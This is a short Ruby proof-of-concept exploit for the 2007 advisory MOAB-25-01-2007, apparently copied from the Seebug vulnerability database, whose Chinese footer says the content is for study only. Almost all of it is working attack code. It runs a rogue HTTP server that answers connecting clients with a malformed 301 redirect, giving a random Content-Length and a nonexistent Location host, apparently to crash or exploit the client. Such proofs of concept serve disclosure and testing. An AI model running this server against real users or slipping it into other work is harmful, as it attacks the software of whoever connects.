#!/usr/bin/ruby # (c) Copyright 2007 Lance M. Havok <lmh [at] info-pull.com> # Proof of concept for MOAB-25-01-2007. # require 'socket' web_port = (ARGV[0] || 80).to_i puts "++ Starting HTTP server at port #{web_port}." web_server = TCPServer.new(nil, web_port) while (session = web_server.accept) rand_clen = rand(80) useragent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0].chomp! puts "++ Connected: #{useragent}" session.print "HTTP/1.1 301 OK " session.print "Content-Type: text/html " session.print "Content-Length: #{rand_clen} " session.print "Location: http://nonexistent123 " session.print "X" * rand_clen session.close end
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论